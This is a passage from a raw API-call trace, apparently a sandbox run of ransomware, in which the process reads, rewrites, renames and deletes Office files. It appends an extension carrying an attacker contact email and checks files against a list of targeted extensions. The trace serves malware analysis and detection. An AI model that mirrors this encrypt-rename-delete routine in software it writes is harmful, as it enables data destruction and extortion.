shared\\ink\\hwrusash.dat.id-9c354b42.[asdbtc@aol.com].asd")) returned 0 [0047.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0047.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0047.724] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effc6c | out: lpNewFilePointer=0x0) returned 1 [0047.724] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effc2c | out: lpNewFilePointer=0x0) returned 1 [0047.724] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2effc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2effc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.730] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2effc2c | out: lpNewFilePointer=0x0) returned 1 [0047.730] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2effc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2effc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.738] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2effc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.738] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2effc2c | out: lpNewFilePointer=0x0) returned 1 [0047.738] ReadFile (in: hFile=0x1dc, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2effc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2effc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.757] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0047.757] WriteFile (in: hFile=0x1dc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2effcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0048.335] SetEndOfFile (hFile=0x1dc) returned 1 [0048.335] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3fd5be8 [0048.688] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effc7c | out: lpNewFilePointer=0x0) returned 1 [0048.688] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2effc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x2effc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.690] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2effc7c | out: lpNewFilePointer=0x0) returned 1 [0048.690] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2effc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x2effc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.693] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2effc7c | out: lpNewFilePointer=0x0) returned 1 [0048.693] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fd5be8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2effc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd5be8*, lpNumberOfBytesWritten=0x2effc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.708] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3fd5be8 | out: hHeap=0x510000) returned 1 [0048.708] CloseHandle (hObject=0x1dc) returned 1 [0048.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0048.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.806] lstrlenW (lpString=".doc") returned 4 [0048.806] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.806] lstrlenW (lpString=".docx") returned 5 [0048.806] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0048.806] lstrlenW (lpString=".pdf") returned 4 [0048.806] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.806] lstrlenW (lpString=".xls") returned 4 [0048.806] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.806] lstrlenW (lpString=".xlsx") returned 5 [0048.806] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0048.806] lstrlenW (lpString=".ppt") returned 4 [0048.806] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.807] lstrlenW (lpString=".zip") returned 4 [0048.807] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString=".rar") returned 4 [0048.807] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString=".bz2") returned 4 [0048.807] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.807] lstrlenW (lpString=".7z") returned 3 [0048.807] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.807] lstrlenW (lpString=".dbf") returned 4 [0048.807] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.807] lstrlenW (lpString=".1cd") returned 4 [0048.807] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.807] lstrlenW (lpString=".jpg") returned 4 [0048.807] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.807] lstrlenW (lpString=".doc") returned 4 [0048.807] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString=".docx") returned 5 [0048.807] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0048.807] lstrlenW (lpString=".pdf") returned 4 [0048.807] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString=".xls") returned 4 [0048.807] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0048.807] lstrlenW (lpString=".xlsx") returned 5 [0048.807] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0048.807] lstrlenW (lpString=".ppt") returned 4 [0048.807] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0048.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.808] lstrlenW (lpString=".zip") returned 4 [0048.808] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0048.808] lstrlenW (lpString=".rar") returned 4 [0048.808] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0048.808] lstrlenW (lpString=".bz2") returned 4 [0048.808] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0048.808] lstrlenW (lpString=".7z") returned 3 [0048.808] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0048.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.808] lstrlenW (lpString=".dbf") returned 4 [0048.808] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0048.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.808] lstrlenW (lpString=".1cd") returned 4 [0048.808] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0048.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0048.808] lstrlenW (lpString=".jpg") returned 4 [0048.808] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0048.808] lstrcmpiW (lpString1=".XML", lpString2=".asd") returned 1 [0048.808] lstrlenW (lpString="SETUP.XML") returned 9 [0048.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.236] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1852) returned 1 [0049.236] CloseHandle (hObject=0x1e8) returned 1 [0049.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0049.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0049.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0049.236] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0049.236] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0049.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0049.237] GetLastError () returned 0x0 [0049.237] ReadFile (in: hFile=0x1e8, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x73c, lpOverlapped=0x0) returned 1 [0049.239] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x740, lpOverlapped=0x0) returned 1 [0049.240] ReadFile (in: hFile=0x1e8, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0049.240] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.240] SetEndOfFile (hFile=0x1bc) returned 1 [0049.241] CloseHandle (hObject=0x1bc) returned 1 [0049.242] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0049.242] SetEndOfFile (hFile=0x1e8) returned 1 [0049.243] CloseHandle (hObject=0x1e8) returned 1 [0049.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0049.244] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.244] lstrlenW (lpString=".doc") returned 4 [0049.244] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.244] lstrlenW (lpString=".docx") returned 5 [0049.244] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.244] lstrlenW (lpString=".pdf") returned 4 [0049.244] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.244] lstrlenW (lpString=".xls") returned 4 [0049.244] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.244] lstrlenW (lpString=".xlsx") returned 5 [0049.245] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.245] lstrlenW (lpString=".ppt") returned 4 [0049.245] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.245] lstrlenW (lpString=".zip") returned 4 [0049.245] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.245] lstrlenW (lpString=".rar") returned 4 [0049.245] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.245] lstrlenW (lpString=".bz2") returned 4 [0049.245] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.245] lstrlenW (lpString=".7z") returned 3 [0049.245] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.245] lstrlenW (lpString=".dbf") returned 4 [0049.245] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.245] lstrlenW (lpString=".1cd") returned 4 [0049.245] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.245] lstrlenW (lpString=".jpg") returned 4 [0049.245] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.245] lstrlenW (lpString=".doc") returned 4 [0049.246] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.246] lstrlenW (lpString=".docx") returned 5 [0049.246] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.246] lstrlenW (lpString=".pdf") returned 4 [0049.246] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.246] lstrlenW (lpString=".xls") returned 4 [0049.246] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.246] lstrlenW (lpString=".xlsx") returned 5 [0049.246] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.246] lstrlenW (lpString=".ppt") returned 4 [0049.246] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.246] lstrlenW (lpString=".zip") returned 4 [0049.246] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.246] lstrlenW (lpString=".rar") returned 4 [0049.246] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.246] lstrlenW (lpString=".bz2") returned 4 [0049.246] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.246] lstrlenW (lpString=".7z") returned 3 [0049.246] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.246] lstrlenW (lpString=".dbf") returned 4 [0049.246] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.246] lstrlenW (lpString=".1cd") returned 4 [0049.246] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0049.247] lstrlenW (lpString=".jpg") returned 4 [0049.247] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.247] lstrcmpiW (lpString1=".CHM", lpString2=".asd") returned 1 [0049.247] lstrlenW (lpString="PSCONFIG.CHM") returned 12 [0049.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.006] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=37689) returned 1 [0050.006] CloseHandle (hObject=0x1e4) returned 1 [0050.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0050.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0050.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.007] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.007] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0050.007] GetLastError () returned 0x0 [0050.007] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x9339, lpOverlapped=0x0) returned 1 [0050.010] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x9340, lpOverlapped=0x0) returned 1 [0050.011] ReadFile (in: hFile=0x1e4, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0050.011] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.012] SetEndOfFile (hFile=0x1fc) returned 1 [0050.012] CloseHandle (hObject=0x1fc) returned 1 [0050.013] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0050.013] SetEndOfFile (hFile=0x1e4) returned 1 [0050.014] CloseHandle (hObject=0x1e4) returned 1 [0050.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0050.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 1 [0050.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.015] lstrlenW (lpString=".doc") returned 4 [0050.015] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.015] lstrlenW (lpString=".docx") returned 5 [0050.015] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0050.015] lstrlenW (lpString=".pdf") returned 4 [0050.015] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.015] lstrlenW (lpString=".xls") returned 4 [0050.015] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.015] lstrlenW (lpString=".xlsx") returned 5 [0050.015] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0050.015] lstrlenW (lpString=".ppt") returned 4 [0050.015] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0050.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.015] lstrlenW (lpString=".zip") returned 4 [0050.015] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0050.015] lstrlenW (lpString=".rar") returned 4 [0050.015] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0050.015] lstrlenW (lpString=".bz2") returned 4 [0050.015] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0050.015] lstrlenW (lpString=".7z") returned 3 [0050.015] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0050.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.015] lstrlenW (lpString=".dbf") returned 4 [0050.015] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.016] lstrlenW (lpString=".1cd") returned 4 [0050.016] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.016] lstrlenW (lpString=".jpg") returned 4 [0050.016] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM") returned 105 [0050.016] lstrlenW (lpString=".doc") returned 4 [0050.016] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString=".docx") returned 5 [0050.016] lstrcmpiW (lpString1=".docx", lpString2="G.CHM") returned -1 [0050.016] lstrlenW (lpString=".pdf") returned 4 [0050.016] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString=".xls") returned 4 [0050.016] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0050.016] lstrlenW (lpString=".xlsx") returned 5 [0050.016] lstrcmpiW (lpString1=".xlsx", lpString2="G.CHM") returned -1 [0050.016] 